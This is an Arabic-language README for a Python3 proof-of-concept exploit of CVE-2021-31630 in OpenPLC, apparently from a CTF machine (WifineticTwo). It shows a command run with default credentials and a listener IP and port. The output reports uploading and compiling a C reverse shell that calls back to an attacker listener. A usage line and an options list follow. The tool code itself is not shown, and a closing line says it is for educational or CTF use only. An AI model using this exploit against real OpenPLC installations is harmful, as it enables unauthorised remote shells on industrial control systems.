
استغلال POC لثغرة CVE-2021-31630 مكتوب بلغة Python3 ويستخدم شل عكسي بلغة C مع الوضع غير الحاجب
يستند هذا الاستغلال إلى الاستغلال المنشور على Exploit-DB والذي أعده Fellipe Oliveira.
└─# python3 custom_exploit.py --url http://10.10.11.7:8080 --username openplc --password openplc --listenerip 10.10.16.4 --listenerport 8888
[*] Authenticated.
[*] C file uploaded. Waiting for compilation.
[*] Compiled, probably.
[*] Started PLC, you should get your reverse shell now.
[*] Stopped PLC.
python3 exploit.py --url <> --username <> --password <> --listenerip <> --listenerport <>
الخيارات:
--url - عنوان URL الخاص بـ OpenPLC--username - اسم المستخدم--password - كلمة المرور--listenerip - عنوان IP الخاص بالمستمع (Listener)--listenerport - منفذ المستمع (Listener)ملاحظة: تم إنشاء هذا الاستغلال كإثبات لمفهوم (PoC)؛ استخدمه للأغراض التعليمية أو مسابقات CTF فقط - https://flojboj.org/article/WifineticTwo